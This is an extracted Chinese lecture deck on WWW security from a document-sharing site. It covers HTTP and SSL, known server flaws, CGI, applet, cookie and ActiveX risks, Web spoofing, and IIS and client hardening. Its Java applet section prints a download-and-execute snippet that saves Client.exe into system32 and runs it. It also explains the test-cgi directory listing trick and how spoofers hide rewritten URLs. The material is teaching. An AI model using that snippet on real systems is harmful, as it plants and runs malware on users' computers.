第7章WWW安全性.ppt

上传人:本田雅阁 文档编号:2910643 上传时间:2019-06-04 格式:PPT 页数:57 大小:419.52KB
返回 下载 相关 举报
第7章WWW安全性.ppt_第1页
第1页 / 共57页
第7章WWW安全性.ppt_第2页
第2页 / 共57页
第7章WWW安全性.ppt_第3页
第3页 / 共57页
第7章WWW安全性.ppt_第4页
第4页 / 共57页
第7章WWW安全性.ppt_第5页
第5页 / 共57页
点击查看更多>>
资源描述

《第7章WWW安全性.ppt》由会员分享,可在线阅读,更多相关《第7章WWW安全性.ppt(57页珍藏版)》请在三一文库上搜索。

1、第七章 WWW安全性,7.1 HTTP协议及WWW服务 7.2 WWW服务器的安全性 7.3 Web欺骗 7.4 WWW客户安全性 7.5 增强WWW的安全性,本章学习目标,本章本章主要介绍了WWW的有关安全问题。通过本章学习,读者应该掌握以下内容: Web与HTTP协议,Web的访问控制,HTTP的安全问题,S-HTTP和SSL的简介,缓存的安全性; WWW服务器的安全漏洞;NCSA、Apache、Netscape的安全问题; CGI程序的安全性问题; Plug-in的安全性问题; Java与JavaScript的安全性问题; Cookies的安全性; ActiveX的安全性; Web攻击的

2、行为特点;与Web安全相关的决策; WWW客户安全性; 如何增强WWW的安全性;,7.1 HTTP协议及WWW服务,7.1.1 HTTP协议及其安全性 7.1.2 Web的访问控制 7.1.3 安全超文本传输协议S-HTTP 7.1.5 安全套接层SSL 7.1.6 缓存的安全性,7.1.1 HTTP协议及其安全性,HTTP协议(Hypertext Transfer Protocol,超文本传输协议)是分布式的Web应用的核心技术协议,在TCP/IP协议栈中属于应用层。它定义了Web浏览器向Web服务器发送Web页面请求的格式,以及Web页面在Internet上的传输方式。 HTTP协议允许远

3、程用户对远程服务器的通信请求, 这会危及Web服务器和客户的安全 HTTP的另一个安全漏洞就是服务器日志。,7.1.1 WWW服务,WWW基于客户机/服务器模式,其中客户机就是Web浏览器,服务器指的是Web服务器。,7.1.2 Web的访问控制,反向域名解析,7.1.2 Web的访问控制,但有时IP地址并不能得到解析,因为客户机本地DNS服务器配置可能不正确,这个时候HTTP服务器就伪造一个域名继续工作。 一旦Web服务器获得IP地址及相应客户的域名,便开始进行验证,来决定客户是否有权访问请求的文档。这其中隐含着安全漏洞。,7.1.3 安全超文本传输协议S-HTTP,S-HTTP(Secur

4、e Hyper Text Transfer Protocol)是保护Internet上所传输的敏感信息的安全协议。随着Internet和Web对身份验证的需求的日益增长,用户在彼此收发加密文件之前需要身份验证。S-HTTP协议也考虑了这种需要。 S-HTTP的目标是保证蓬勃发展的商业交易的传输安全,因而推动了电子商务的发展。S-HTTP使Web客户和服务器均处于安全保护之下,其信息交换也是安全的。,7.1.5 安全套接层SSL,SSL(Secure Sockets Layer)是Netscape公司设计和开发的,其目的在于提高应用层协议(如HTTP,Telnet,NNTP,FTP等)的安全性。

5、SSL协议的功能包括:数据加密、服务器验证、信息完整性以及可选的客户TCP/IP连接验证。SSL的主要目的是增强通信应用程序之间的保密性和可靠性。 SSL不同于S-HTTP之处在于后者是HTTP的超集,只限于 Web,而 SSL 可以使用各种类型的加密算法和密钥验证机制,7.1.6 缓存的安全性,缓存通过在本地磁盘中存储高频请求文件,从而大大提高Web服务的性能。不过,如果远程服务器上的文件更新了,用户从缓存中检索到的文件就有可能过时。而且,由于这些文件可由远程用户取得,因而可能暴露一些公众或外部用户不能读取的信息。 HTTP服务器通过将远程服务器上文件的日期与本地缓存的文件日期进行比较可以解

6、决这个问题。,7.2 WWW服务器的安全性,7.2.1 WWW服务器的安全漏洞 7.2.2通用网关接口(CGI)的安全性 7.2.3 Plug-in的安全性 7.2.4 Java与JavaScript的安全性 7.2.5 Cookies的安全性 7.2.6 ActiveX的安全性,7.2.1 WWW服务器的安全漏洞,1NCSA服务器的安全漏洞 NCSA包含的post-query CGI程序对用户提交的HTTP POST请求缺少正确的边界缓冲区检查,提交超多的数据可以破坏内存结构,精心构建提交数据可能覆盖返回指针可能以WEB权限在系统上执行任意指令。 NCSA HTTPd自带了一个名为“test

7、-cgi”的 CGI脚本,位于“/cgi-bin”目录。如果用户在输入中插入%26quot;*%26quot;、%26quot;/*%26quot;、%26quot;/usr/*%26quot;等字串,http:/target/cgi-bin/test-cgi?/%26quot则此输入信息会被shell所扩展为目录下的内容列表。因此远程攻击者可以利用此问题获得主机上任意目录的内容列表,7.2.1 WWW服务器的安全漏洞,2Apache WWW服务器的安全问题 chunk encoding 动态缓冲区分配漏洞 Apache使用了一个有字符变量储存分块长度,同时分配了一个固定大小的堆栈缓冲区来储存

8、分块数据。出于安全考虑,在将块数据拷贝到缓冲区之前,Apache会对块长度进行检查,如果块长度大于缓冲区长度,Apache将最多只拷贝缓冲区长度的数据,否则,则根据块长度进行数据拷贝。然而在进行上述检查时,没有将块长度转换为非字符型进行比较,因此,如果攻击者将块长度设置成一个负值,就会绕过上述安全检查,Apache会将一个超长(至少0x80000000字节)的块数据拷贝到缓冲区中,这会造成一个缓冲区溢出。,7.2.1 WWW服务器的安全漏洞,3Netscape的WWW服务器的安全问题 攻击者可以发送非法method nameHTTP请求或者超过4022字节的URI请求,Netscape企业级服

9、务器就会停止响应,精心提交攻击数据可能以WEB权限在系统上执行任意指令。,7.2.2通用网关接口(CGI)的安全性,公共网关接口(CGI)提供了扩展Web页面功能的最灵活的方法。客户方CGI的编程用HTML标记,让窗口捕获用户的输入,并把它传到服务器方的应用程序,服务器方的CGI把这些信息传递给应用程序,由它返回给客户系统更新的Web页面和其他信息。,7.2.2通用网关接口(CGI)的安全性,1. CGI程序的编写应注意的问题 使用完整的绝对路径名来调用程序 2. CGI脚本的激活方式 不要认为你的脚本一定会在指定的表单里调用 3.不要依赖于隐藏变量的值 不依赖隐藏变量来保证安全性 4. CG

10、I的权限问题 限制CGI脚本的权限,7.2.3 Plug-in的安全性,不要盲目执行任何从Internet上下载的程序 以文本形式下载脚本,检查过后再手动执行 此进警告同意适用于包含宏的工作表 不要轻信URL中所带文件的扩展名 不要为任何可能包含可执行语句的文件声明任何外部阅读器。,7.2.4 Java与JavaScript的安全性,尽管名字上很相似,但Java与JavaScript之间毫无瓜葛。Java是Sun公司设计的一种语言。用Java编写的代码编译成一种紧凑的格式并存在连接的服务器端。JavaScript是Netscape公司设计的一系列HTML语言扩展,它增强了HTML语言的动态交互

11、能力,并且可以把部分处理移到客户机,减轻服务器的负载。,7.2.4 Java与JavaScript的安全性,1.Java applet的安全性的问题 Import java.applet.Applet; /加载applet包 public class Client extends Applet /继承applet public void start() /重写applet的主要方法 System.out.println(“aaa”); /如果进入了这个方法,会打印“aaa” URL url = new URL(“http:/ /定义了要从这个地址中拿文件。 bufferedoutputstre

12、am=newBufferedOutputStream(new FileOutputStream(“C:windowssystem32 /把拿下来的文件放到system32下Client.exe“);,7.2.4 Java与JavaScript的安全性,URLConnection urlconnection = url.openConnection(); /打开SOCKET链接 inputstream = urlconnection.getInputStream(); /取得文件的流 byte abyte0 = new byte1024; int i; for(long l = 0L; (i =

13、 inputstream.read(abyte0) != -1; l += i) bufferedoutputstream.write(abyte0, 0, i); /把文件写入 Runtime runtime = Runtime.getRuntime(); try Process process = runtime.exec(“C:windowssystem32Client.exe“); /执行文件,7.2.4 Java与JavaScript的安全性,1.Java applet的安全性的问题 Java语言编写的小程序,嵌入页面之中,但需要编译执行 可以对本地磁盘、文件进行操作 一般IE内核的

14、浏览器不支持applet,7.2.4 Java与JavaScript的安全性,2.JavaScript的安全性问题 Hotmail的Javascript漏洞 如果在email的内容中使用“import url(javascript:.)”,Hotmail将会执行其中的JavaScript代码,这可能使用户的Hotmail邮箱被侵入。 建议:关闭Javascript功能,7.2.5 Cookies的安全性,Cookie是Netscape公司开发的一种机制。用来改善HTTP协议的无状态性。 Cookie是一段很小的信息,通常只有一个短短的章节标记那么大。它是在浏览器第一次连接时由HTTP服务器送到

15、浏览器的。以后,浏览器每次连接都把这个Cookie的一个拷贝返回给服务器。 Cookie不能用来偷关于用户或用户的计算机系统的信息。但是大多数的Cookie是试图改善Web浏览体验的良性尝试,而不是侵犯隐私。,7.2.5 Cookies的安全性,Cookie的安全隐患 它可以记录你的用户ID、密码、浏览过的网页、停留的时间等信息 硬盘中的Cookies文件可以被Web浏览器读取,7.2.5 Cookies的安全性,一、IE选项法 1、启动IE; 2、在“工具”菜单上,单击“Internet选项”,打开“Internet选项”对话框; 3、单击“隐私”选项卡,将滑块上移到更高的隐私级别。如果移动

16、到最顶端则是选择“阻止所有的Cookie”,此时系统将阻止所有网站的Cookie,而且网站不能读取计算机上已有的Cookie; 4、单击“确定”按钮。,7.2.5 Cookies的安全性,二、属性设置法 “属性设置法”把保存Cookie的文件夹设置为“只读”属性,从而网站也就无法向其中写入Cookie信息了。 1、启动“Windows资源管理器”; 2、找到保存Cookie的文件夹。使用Windows版本不同,保存Cookie的文件夹会有所不同。比如,在Windows XP中,该文件夹为“C:Documents and Settings用户名Cookies”文件夹;在Windows 98中,是

17、“C:WindowsCookies”文件夹; 3、右键单击该文件夹,再单击“属性”,打开文件夹属性对话框,选中“只读”复选框,指定此文件夹中的文件为只读属性,只读意味着文件不能被更改或意外删除; 4、单击“确定”按钮。,7.2.5 Cookies的安全性,三、注册表法 “属性设置法”实际上也有缺陷,就是网站照样可以读取计算机上已有的Cookie。而且有一些特殊Cookie不是以文本文件形式存在,而是保存在内存中。这类Cookie通常是用户在访问某些特殊网站时,由系统自动在内存中生成,一旦访问者离开该网站又自动将Cookie从内存中删除。上述两法对这些 Cookie就无能为力了,而“注册表法”可

18、以弥补这些不足。 1、单击“开始”菜单,再单击“运行”,然后在“打开”框中键入“regedit”,单击“确定”按钮,打开“注册表编辑器”窗口; 2、依次展开“HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionInternet SettingsCacheSpecial PathsCookies”分支,右键单击“Cookies”,然后单击快捷菜单中的“删除”命令,当系统提示确认删除时,请单击“是”按钮;,7.2.6 ActiveX的安全性,ActiveX是 Microsoft 公司开发的用来在Internet上分发软件的产品。 Acti

19、veX控件有许多是为Microsoft Internet Explorer(目前唯一支持它们的浏览器)而做的, ActiveX的安全模型与Java applet有很大不同。 ActiveX的授权过程保证ActiveX不能被匿名分发,并且控件在公布以后不会被第三者修改。 ActiveX可以从Microsoft Internet Explorer的选项菜单里完全关闭。只要找到活跃内容一项并选择最安全选项即可实现关闭。,7.3 Web欺骗,7.3.1 Web攻击的行为和特点 7.3.2 攻击的原理和过程,7.3.1 Web欺骗的行为和特点,Web欺骗是指攻击者建立一个使人相信的 、Web页站点的拷贝

20、,这个假的Web站点拷贝就像真的一样:它具有所有的页面和连接。然而攻击者控制了这个假的Web页,被攻击对象和真的Web站点之间的所有信息流动都被攻击者所控制了。,7.3.2 攻击的原理和过程,攻击的关键在于攻击者的Web服务器能够插在浏览者和其他的Web之间,7.3.2 攻击的原理和过程,1改写URL 假设攻击者所处的Web服务器是 www.org ,攻击者通过在所有链接前增加 http:/www.www.org 来改写URL。例如, http:/ 将变为 http:/www.www.org/http:/. 工作流程如下: 1.用户点击经过改写后的 http:/www.www.org/http

21、:/ ; 2. http:/www.www.org向http:/ 请求文档; 3. http:/向http:/www.www.org 返回文档; 4. http:/www.www.org 改写文档中的所有URL; 5. http:/www.www.org 向用户返回改写后的文档。,7.3.2 攻击的原理和过程,2开始攻击 为了开始攻击,攻击者必须以某种方式引诱受攻击者进入攻击者所创造的错误的Web。黑客往往使用下面若干种方法。 把错误的Web链接放到一个热门Web站点上; 如果受攻击者使用基于Web的邮件,那么可以将它指向错误的Web; 创建错误的Web索引,指示给搜索引擎。,7.3.2 攻击

22、的原理和过程,3制造假象 状态线路 位于浏览器底部的提示信息,提示当前连接的各类信息。Web欺骗中涉及两类信息。首先,当鼠标放置在Web链接上时,连接状态显示链接所指的URL地址,这样,受攻击者可能会注意到重写的URL地址。,7.3.2 攻击的原理和过程,3制造假象 第二,当Web连接成功时,连接状态将显示所连接的服务器名称。这样,受攻击者可以注意到显示 而发现非自己所希望的站点。,7.3.2 攻击的原理和过程,3. 制造假象 攻击者能够通过JavaScript编程来弥补这两项不足。由于JavaScript能够对连接状态进行写操作,而且可以将JavaScript操作与特定事件绑定在一起,所以,

23、攻击者完全可以将改写的URL状态恢复为改写前的状态。这样Web欺骗将更为可信。,7.3.2 攻击的原理和过程,位置状态行 浏览器的位置状态行显示当前所处的URL位置,用户也可以在其中键入新的URL地址进入到另外的URL,如果不进行必要的更改,此时URL会暴露出改写后的URL。同样地,利用JavaScript可以隐藏掉改写后的URL。JavaScript能用不真实的URL掩盖真实的URL,也能够接受用户的键盘输入,并将之改写,进入不正确的URL。,7.4 WWW客户安全性,7.4.1 防范恶意代码,7.4 WWW客户安全性,恶意代码 恶意代码是一种程序,它通过把代码在不被察觉的情况下镶嵌到另一段

24、程序中,从而达到破坏被感染电脑数据、运行具有入侵性或破坏性的程序、破坏被感染电脑数据的安全性和完整性的目的。按传播方式,恶意代码可以分成五类:病毒,木马,蠕虫,移动代码和复合型病毒.,几种清除恶意代码的方法 (1)解开被禁用的注册表 REGEDIT4 此出空一行,不写任何东西 HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersion PoliciesSystem “DisableRegistryTools“=dword:00000000 (2)解决IE属性主页不能修改 开始菜单运行regedit-确定,打开注册表编辑工具,按顺序依次打开:H

25、KEY_LOCAL_USERSoftwareMicrosoftInternet ExplorerMain 分支,找到Default_Page_URL键值名(用来设置默认主页),在右窗口点击右键进行修改即可。按F5键刷新生效。,7.4.1 防范恶意代码,7.4.1 防范恶意代码,(3) 修改IE的标题栏 清除方法:开始菜单运行regedit-确定,打开注册表编辑工具,按如下顺序依次打开:HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMain分支,找到“Window Title”键值名,输入键值为Microsoft Internet Expl

26、orer,按F5刷新。,7.4.1 防范恶意代码,(4)IE默认连接首页的修改 展开注册表到 HKEY_LOCAL_MACHINESOFTWAREMicrosoftInternet ExplorerMain下,在右半部分窗口中找到串值“Start Page”双击 ,将Start Page的键值改为“about:blank”即可; 同理,展开注册表到 HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMain 在右半部分窗口中找到串值“Start Page”,然后重复步骤 。 退出注册表编辑器,重新启动计算机,一切OK了!,7.4.1 防范恶意

27、代码,(5)清除右键菜单中的网页广告 1、打开注册表,来到 HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMenuExt 可以找到右键的菜单项目删除按F5刷新即可 2、应用软件的右键加载项,可以通过修改注册表: 找到HKEY_LOCAL_MACHINESoftwareCLASSESFoldershell HKEY_LOCAL_MACHINESoftwareCLASSESDirectoryshell 两个键值,看看是否有相应的键值。并且在注册表查找 软件名 的关键字,删除相应的键值即可。,7.4.1 防范恶意代码,2采取防范措施,杜绝恶意代

28、码 (1) 管住自己 (2) 禁用ActiveX插件、控件和Java脚本 (3) 安装防病毒软件 (4) 注册表加锁 REGEDIT4 HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem “DisableRegistryTools“=dword:00000001,7.4.1 防范恶意代码,(5) 对Win2000用户,禁用远程注册表操作服务 打开“控制面板”,单击“管理工具”,在打开的窗口中单击“服务”图标,打开“服务”对话框,打开“Remote Registry Service”项,双击打开它的属性对话框

29、,在“常规”选项卡下,单击“启动类型”下拉列表框,在列表中选择“已禁用”,单击“确定”按钮。即可禁用该功能。 (6)升级IE为IE6.0以上版本 (7)下载微软最新的Microsoft Windows Script (8) 避免重蹈覆辙,7.5 增强WWW的安全性,7.5.1 WWW安全建议 7.5.2 Web保护方法 7.5.3 Web服务器的安全措施,7.5. WWW安全建议,http服务器 尽可能使用一台专用堡垒主机 ,应仔细配置服务器来控制它访问的东西;特别要注意某人会设法向系统装载程序 ,然后通过HTTP服务器来执行。 代理HTTP使用一个高速缓存代理服务器即可。这样既有利于扩展网络

30、宽度,又有利于安全。,7.5.2 Web保护方法,虽然Web欺骗是危险的和几乎不可察觉的,然而还是可以采用下面的一些方法进行保护。 跟踪攻击者 可以使用网络监听或用netstat之类的工具找到攻击者所用的服务器 2解决方法 (1) 关闭浏览器的JavaScript,使得攻击者不能隐藏攻击的迹象。 (2) 确信你的浏览器的地址行总是可见的。 (3) 留意浏览器地址行上显示的URL,确信它们一定是指向所想的服务器。,7.5.3 Web服务器的安全配置方法,IIS的安装 修改IIS的默认安装路径 打上Windows和IIS的最新补丁 IIS的安全配置 删除不必要的虚拟目录 IIS安装完成后在wwwr

31、oot下默认生成了一些目录,并默认设置了几个虚拟目录,包括IISHelp、IISAdmin、IISSamples、MSADC等,其实没什么用,可直接删除,7.5.3 Web服务器的安全配置方法,删除危险的IIS组件 默认安装后的有些IIS组件可能会造成安全威胁,应该从系统中去掉 Internet服务管理器(HTML):这是基于Web 的IIS服务器管理页面,一般情况下不应通过Web进行管理,建议卸载它。 样本页面和脚本:这些样本中有些是专门为显示IIS的强大功能设计的,但同样可被用来从Internet上执行应用程序和浏览服务器,这不是好事情,建议删除。 SMTP和NNTP:如果不打算使用服务器

32、转发邮件和提供新闻组服务,就删除这些项目吧。否则,别因为它们的漏洞带来新的不安全。,7.5.3 Web服务器的安全配置方法,为IIS中的文件分类设置权限 一般而言,对一个文件夹永远也不应同时设置写和执行权限,以防止攻击者向站点上传并执行恶意代码。 另外目录浏览功能也应禁止,预防攻击者把站点上的文件夹浏览个遍最后找到漏洞。一个好的设置策略是:为Web 站点上不同类型的文件都建立目录,然后给它们分配适当权限,7.5.3 Web服务器的安全配置方法,删除不必要的应用程序映射 IIS中默认存在很多种应用程序映射,除了ASP的这个程序映射,其他的文件在网站上都很少用到。 在“Internet服务管理器”

33、中,右击网站目录,选择“属性”,在网站目录属性对话框的“主目录”页面中,点击配置按钮,弹出“应用程序配置”对话框,在“应用程序映射”页面,删除无用的程序映射。 如果需要这一类文件时,必须安装最新的系统修补补丁,并且选中相应的程序映射,再点击编辑按钮,在“添加/编辑应用程序扩展名映射”对话框中勾选“检查文件是否存在”选项。 保护日志安全 IIS的日志默认保存在一个众所周知的位置(%WinDir%System32LogFil-es),这对Web日志的安全很不利。所以我们最好改变它的位置,启动内容失效 启动内容失效可以保证自己站点上的过期信息不被发布出去。,7.5.3 Web服务器的安全配置方法,内

34、容分级设置 如果用户站点的内容并不是针对所有的访问者,需要进行内容分级设置,以防止不具备分级要求的其他访问者查看站点内容。,7.5.3 Web服务器的安全配置方法,安全与权限设置 安全与权限设置是IIS保证其站点安全的最重要的保护措施,可用来控制怎样验证用户的身份以及他们的访问权限。,7.5.3 Web服务器的安全配置方法,安全认证 在Windows 2000中,Web服务提供了三种登录认证方式,它们分别是匿名方式、明文方式和询问/应答方式。 用户采用那种方式取决于用户建立Internet信息服务器的目的。,7.5.3 Web服务器的安全配置方法,IP地址及域名限制 通过IP地址及域名限制,用户可禁止某些特定的计算机对自己的Web服务器的访问。,7.5.3 Web服务器的安全配置方法,

展开阅读全文
相关资源
猜你喜欢
相关搜索

当前位置:首页 > 其他


经营许可证编号:宁ICP备18001539号-1